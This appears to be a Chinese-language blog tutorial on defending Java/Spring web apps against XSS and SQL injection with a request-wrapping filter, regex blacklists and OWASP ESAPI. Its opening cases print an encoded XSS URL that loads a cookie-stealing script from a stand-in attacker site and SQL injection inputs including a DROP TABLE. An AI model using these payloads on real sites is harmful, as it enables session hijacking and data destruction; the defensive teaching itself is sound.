預防XSS,這幾招管用
最近重溫了一下「黑客帝國」系列電影,一攻一防實屬精彩,生活中我們可能很少有機會觸及那么深入的網絡安全問題,但工作中請別忽略你身邊的精彩
大家應該都聽過 XSS (Cross-site scripting) 攻擊問題,或多或少會有一些了解,但貌似很少有人將這個問題放在心上。一部分人是存有僥幸心理:“誰會無聊攻擊我們的網站呢?”;另一部分人可能是工作職責所在,很少觸碰這個話題。希望大家看過這篇文章之后能將問題重視起來,並有自己的解決方案, 目前XSS攻擊問題依舊很嚴峻:
Cross-site scripting(XSS)是Web應用程序中常見的一種計算機安全漏洞,XSS 使攻擊者能夠將客戶端腳本注入其他用戶查看的網頁中。 攻擊者可能會使用跨站點腳本漏洞繞過訪問控制,例如同源策略。 截至2007年,Symantec(賽門鐵克) 在網站上執行的跨站腳本占據了所有安全漏洞的 84% 左右。2017年,XSS 仍被視為主要威脅載體,XSS 影響的范圍從輕微的麻煩到重大的安全風險,影響范圍的大小,取決於易受攻擊的站點處理數據的敏感性方式以及站點所有者實施對數據處理的安全策略。
XSS 類型的划分以及其他概念性的東西在此就不做過多說明,Wikipedia Cross-site scripting 說明的非常清晰,本文主要通過舉例讓讀者看到 XSS 攻擊的嚴重性,同時提供相應的解決方案
XSS 案例
不喜歡看 XSS 案例的,請跳過此處,直接去看 解決方案 。Bob 和 Alice 兩個人是經常用作案例(三次握手,SSH認證等)說明的,沒錯下面的這些案例也會讓他們再上頭條😆
案例一
Alice 經常訪問由 Bob 托管的特定網站, Bob 的網站允許 Alice 使用用戶名/密碼登陸后,存儲敏感數據,例如賬單信息。當用戶登錄時,瀏覽器會保留一個授權 Cookie,它看起來像一些垃圾字符,這樣兩台計算機(客戶端和服務器)都有一條她已登錄的記錄。
Mallory 觀察到 Bob 的網站包含一個 XSS 漏洞:
- 當她訪問“搜索”頁面時,她會在搜索框中輸入搜索詞,然后單擊“提交”按鈕。
- 使用普通的搜索查詢,如單詞“puppies”,頁面只顯示“找不到小狗相關內容”,網址為
http://bobssite.org/search?q=puppies
這是完全正常的行為。 - 但是,當她提交異常搜索查詢時,例如
<script type ='application / javascript'> alert('xss'); </ script>
- 出現一個警告框(表示“xss”)。
- 該頁面顯示“未找到”,以及帶有文本“xss”的錯誤消息。
- URL 是
http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>
, 這是一個可利用的行為
Mallory制作了一個利用此漏洞的URL:
- 她創建了URL
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>
。她選擇使用百分比編碼 encode ASCII字符,例如http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E
,這樣讀者就無法立即破譯這個惡意 URL - 她給 Bob 網站的一些毫無防備的成員發了一封電子郵件,說“看看這些可愛的小狗!”
Alice 到電子郵件, 她喜歡小狗並點擊鏈接。它進入Bob的網站進行搜索,找不到任何內容,並顯示“找不到小狗”, 但就在這時,腳本標簽運行(Alice 在屏幕上看不到)並加載並運行 Mallory 的程序 authstealer.js(觸發了 XSS攻擊)
authstealer.js 程序在 Alice 的瀏覽器中運行,就像正常訪問 Bob 的網站一樣。但該程序抓取 Alice 的授權 Cookie 副本並將其發送到 Mallory 的服務器
Mallory 現在將 Alice 的授權 Cookie 放入她的瀏覽器中,然后她去了 Bob 的網站,並以 Alice 身份登錄。
Mallory 假借 Alice 身份進入網站的賬單部分,查找 Alice 的信用卡號碼並抓取副本。然后她去改變她的密碼,這樣過后愛麗絲甚至不能再登錄了。
Mallory 決定更進一步向 Bob 本人發送一個類似的鏈接,從而獲得Bob的網站管理員權限。
案例二
當向用戶詢問輸入時,通常會發生 SQL 注入,例如用戶名/用戶ID,用戶會為您提供一條 SQL 語句,您將無意中在數據庫上運行該語句。
請查看以下示例,該示例通過向選擇字符串添加變量(txtUserId)來創建SELECT語句。 該變量是從用戶輸入(getRequestString)獲取的:
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
當用戶輸入 userId = 105 OR 1=1
,這時 SQL 會是這個樣子:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
OR 條件始終為 true,這樣就有可能獲取全部用戶信息
如果用戶輸入 userId = 105; DROP TABLE Suppliers
,這時 SQL 語句會是這樣子
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
這樣 Suppliers 表就被不知情的情況下刪除掉了
通過上面的例子可以看出,XSS 相關問題可大可小,大到泄露用戶數據,使系統崩潰;小到頁面發生各種意想不到的異常。“蒼蠅不叮無縫的蛋”,我們需要拿出解決方案,修復這個裂縫。但解決 XSS 問題需要多種方案的配合使用:
- 前端做表單數據合法性校驗(這是第一層防護,雖然“防君子不防小人”,但必須要有)
- 后端做數據過濾與替換 (總有一些人會通過工具錄入一些非法數據造訪你的服務器的)
- 持久層數據編碼規范,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千萬不要亂用 了解這些小細節
本文主要提供第 2 種方式的解決方案
解決方案
先不要向下看,思考一下,在整個 HTTP RESTful 請求過程中,如果采用后端服務做請求數據的過濾與替換,你能想到哪些解決方案?
文末關注公眾號,帶你像讀偵探小說一樣趣味學習 Java 技術
Spring AOP
使用 Spring AOP 橫切所有 API 入口,貌似可以很輕松的實現,But(英文聽力重點😂),RESTful API 設計並不是統一的入參格式,有 GET 請求的 RequestParam 的入參,也有 POST 請求RequestBody的入參,不同的入參很難進行統一處理,所以這並不是很好的方式,關於 RESTful 接口的設計,可以參考 如何設計好的 RESTful API?
HttpMessageConverter
請求的 JSON 數據都要過 HttpMessageConverter 進行轉換,通常我們可以通過添加 MappingJackson2HttpMessageConverter
並重寫 readInternal
方法:
@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
return super.readInternal(clazz, inputMessage);
}
獲取到轉換過后的 Java 對象后對當前對象做處理,但這種方式沒有辦法處理 GET 請求,所以也不是一個很好的方案,想詳細了解 HttpMessageConverter 數據轉換過程可以查看 HttpMessageConverter是如何轉換數據的?
Filter
Servlet Filter 不過多介紹,通過 Filter 可以過濾 HTTP Request,我們可以拿到請求的所有信息,所以我們可以在這里大做文章
我們有兩種方式自定義我們的 Filter
- 實現
javax.servlet.Filter
接口 - Spring 環境下繼承
org.springframework.web.filter.OncePerRequestFilter
抽象類
這里采用第二種方式:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String userInput = request.getParameter("param");
if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
throw new RuntimeException();
}
String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
throw new RuntimeException();
}
filterChain.doFilter(request, response);
}
}
然后注冊 Filter
@Bean
public FilterRegistrationBean filterRegistrationBean() {
FilterRegistrationBean registration = new FilterRegistrationBean();
registration.setFilter(globalSecurityFilter());
//URL 過濾 pattern 設置
registration.addUrlPatterns(validatePath + "/*");
registration.setOrder(5);
return registration;
}
@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
return new GlobalSecurityFilter();
}
這種方案貌似可以很簡單粗暴的解決,但會有以下幾個問題:
- 拋出異常,沒有統一 RESTful 消息返回格式,拋出異常后導致流程不可達
- 調用
request.getInputStream()
讀取流,只能讀取一次,調用責任鏈后續 filter 會導致request.getInputStream()
內容為空,即便這是 Filter 責任鏈中的最后一個 filter,程序運行到 HttpMessageConverter 時也會拋出異常。想了解 Filter 責任鏈的調用過程,可以查看 不得不知的責任鏈設計模式 - 看過文章開頭的 XSS 攻擊案例,HtmlUtils.htmlEscape(...) 可替換的內容有限,不夠豐富
我們需要通過HttpServletRequestWrapper
完成流的多次讀取,當你看到這個名稱XXXWrapper
,你應該想到這應用了 Java 的設計模式——裝飾模式(這是偵探的基本素養 😄),先來看類圖:
HttpServletRequestWrapper 繼承 ServletRequestWrapper 並實現了 HttpServletRequest 接口,我們只需定義自己的 Wrapper,並重寫里面的方法即可
@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {
//將讀取的流內容存儲在 body 字符串中
private final String body;
//定義Pattern數組,用於正則匹配,可添加其他pattern規則至此
private static Pattern[] patterns = new Pattern[]{
// Script fragments
Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
// src='...'
Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// lonely script tags
Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// eval(...)
Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// expression(...)
Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// javascript:...
Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
// vbscript:...
Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
//在此添加其他 Pattern,更多 Pattern 內容,可以從文末 demo 處獲取全部代碼
};
/**
*通過構造函數裝飾 HttpServletRequest,同時將流內容存儲在 body 字符串中
*/
public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
super(servletRequest);
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = null;
try {
InputStream inputStream = servletRequest.getInputStream();
if (inputStream != null) {
bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
char[] charBuffer = new char[128];
int bytesRead = -1;
while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
stringBuilder.append(charBuffer, 0, bytesRead);
}
} else {
stringBuilder.append("");
}
} catch (IOException ex) {
throw ex;
} finally {
if (bufferedReader != null) {
try {
bufferedReader.close();
} catch (IOException ex) {
throw ex;
}
}
}
//將requestBody內容以字符串形式存儲在變量body中
body = stringBuilder.toString();
log.info("過濾和替換前,requestBody 內容為: 【{}】", body);
}
/**
* 將 body 字符串重新轉換為ServletInputStream, 用於request.inputStream 讀取流
* @return
* @throws IOException
*/
@Override
public ServletInputStream getInputStream() throws IOException {
String encodedBody = stripXSS(body);
log.info("過濾和替換后,requestBody 內容為: 【{}】", encodedBody);
final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
ServletInputStream servletInputStream = new ServletInputStream() {
@Override
public int read() throws IOException {
return byteArrayInputStream.read();
}
@Override
public boolean isFinished() {
return byteArrayInputStream.available() == 0;
}
@Override
public boolean isReady() {
return true;
}
@Override
public void setReadListener(ReadListener readListener) {
}
};
return servletInputStream;
}
/**
* 調用該方法,可以多次獲取 requestBody 內容
* @return
*/
public String getBody() {
return this.body;
}
@Override
public BufferedReader getReader() throws IOException {
return new BufferedReader(new InputStreamReader(this.getInputStream()));
}
/**
* 獲取 request (http://127.0.0.1/test?a=1&b=2) 請求參數,多個參數返回 String[] 數組
* @param parameter
* @return
*/
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
/**
* 獲取單個請求參數
* @param parameter
* @return
*/
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
/**
* 獲取請求頭信息
* @param name
* @return
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
return stripXSS(value);
}
/**
* 標准過濾和替換方法
* @param value
* @return
*/
private String stripXSS(String value){
if (value != null) {
// 使用 ESAPI 避免 encoded 的代碼攻擊
value = ESAPI.encoder().canonicalize(value, false, false);
value = patternReplace(value);
}
return value;
}
/**
* 根據 Pattern 替換字符
*/
private String patternReplace(String value){
if (StringUtils.isNotBlank(value)){
// 避免null
value = value.replaceAll("\0", "");
// 根據Pattern匹配到的字符,做""替換
for (Pattern scriptPattern : patterns){
value = scriptPattern.matcher(value).replaceAll("");
}
}
return value;
}
}
至此,修改 GlobalSecurityFilter 中代碼,將重寫好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
上面所有方法都添加了注解,很容易理解,我們看到在 stripXSS 方法中引入了 ESAPI ,關於如何引入 ESAPI,請看當前文章 ESAPI引入方式 部分內容,來看代碼:
ESAPI.encoder().canonicalize(value, false, false);
這段代碼是 ESAPI 最簡單的使用方式,主要防止 encoded 的代碼進行 XSS 攻擊,這種簡單的使用在 GET 請求中沒有問題,但如果是 POST 請求,requestBody 中數據有 "", 會被替換掉,這樣就破壞了json 的結構,導致后續解析出錯. 為什么會這樣呢?
ESAPI.encoder()
構造出默認的 DefaultEncoder
, 查看該類發現:
/**
* Instantiates a new DefaultEncoder
*/
private DefaultEncoder() {
codecs.add( htmlCodec );
codecs.add( percentCodec );
codecs.add( javaScriptCodec );
}
其中 javaScriptCodec
是按照 JavaScript 標准將 "" 替換成 "", 所以我們需要做定制改變,繼續查看 Encoder
接口,找到下面方法:
String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);
通過查看該方法的注釋我們了解到,可以通過 DefaultEncoder 帶參數構造器構造自己的 encoder:
List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
所以我們可以重新定義一個 stripXSSRequestBody 方法用在 重寫的 getInputStream 方法中
/**
* 請求體處理,多用於json數據,自定義encoder,排除掉javascriptcodec
* @param value
* @return
*/
private String stripXSSRequestBody(String value){
if (value != null) {
List codecs = new ArrayList(4);
codecs.add( new HTMLEntityCodec() );
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
// 使用 ESAPI 避免 encoded 的代碼攻擊
value = defaultEncoder.canonicalize(value, false, false);
value = patternReplace(value);
}
return value;
}
解決了 RequestBody 的問題,我們需要進一步解決防 SQL 注入查詢的問題,我們可以在重寫的 getParameterValues
方法中使用如下方法:
/**
* 防Sql注入,多用於帶參數查詢
* @param value
* @return
*/
private String stripXSSSql(String value) {
Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
if (value != null) {
// 使用 ESAPI 避免 encoded 的代碼攻擊
value = ESAPI.encoder().canonicalize(value, false, false);
value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
}
return value;
}
ESAPI.encoder()還有很多定制化的過濾,請小伙伴動手自行發現和定制,這里不再做過多的解釋
問題還沒解決完,涉及到文件上傳的業務,可以通過其他方式做文件魔術數字
校驗,文件后綴
校驗,文件大小
校驗等方式,沒必要在這個地方校驗 XSS 內容,所以我們需要再對 Filter 做出一些改變,不處理 contentType 為 multipart/form-data
的請求
String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
filterChain.doFilter(request, response);
}else {
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
}
當然這種方式還有進一步的改善空間,比如添加白名單(YAML配置的方式)等,具體業務還需要具體分析,不過讀到這里,相信大家的思路已經打開,可以進行自我創作了.
ESAPI引入方式
ESAPI(Enterprise Security API)是一個免費開源的Web應用程序API,目的幫助開發者開發出更加安全的代碼, 更多介紹請查看 OWASP 或 ESAPI github
使用 ESAPI,我們要引入相應的 jar 包
gradle 方式
compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'
maven 方式
<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.0.1</version>
</dependency>
resources 根目錄下添加 ESAPI.properties
文件和 validation.properties
兩個文件,至此我們就可以使用 ESAPI 幫助我們解決 XSS 問題了,文件內容可以通過下載 ESAPI source 獲取,也可以從 Demo 下載地址中獲取
靈魂追問
- 你了解 Java 裝飾器設計模式嗎?能想起來框架的哪些地方用到了該設計模式?
- 為什么單純校驗文件的后綴是不安全的校驗方式?
- 你看過「黑客帝國」嗎? (該問題純屬搞笑)
那些可以提高效率的工具
關注公眾號了解更多可以提高工作效率的工具,同時帶你像看偵探小說一樣趣味學習 Java 技術
Key Promoter X
Key Promoter X 是 IntelliJ IDEA 的一個學習快捷鍵的工具,當你用鼠標在 IDE 中點擊某些功能,Key Promoter X 會在 IDE 右下角提示你應該用哪種快捷鍵代替,如果當前操縱沒有設置相應快捷鍵,你也可以通過它快速設置,提高操作效率
Demo 代碼獲取
文末關注公眾號「日拱一兵」,回復 「demo」獲取 Demo 代碼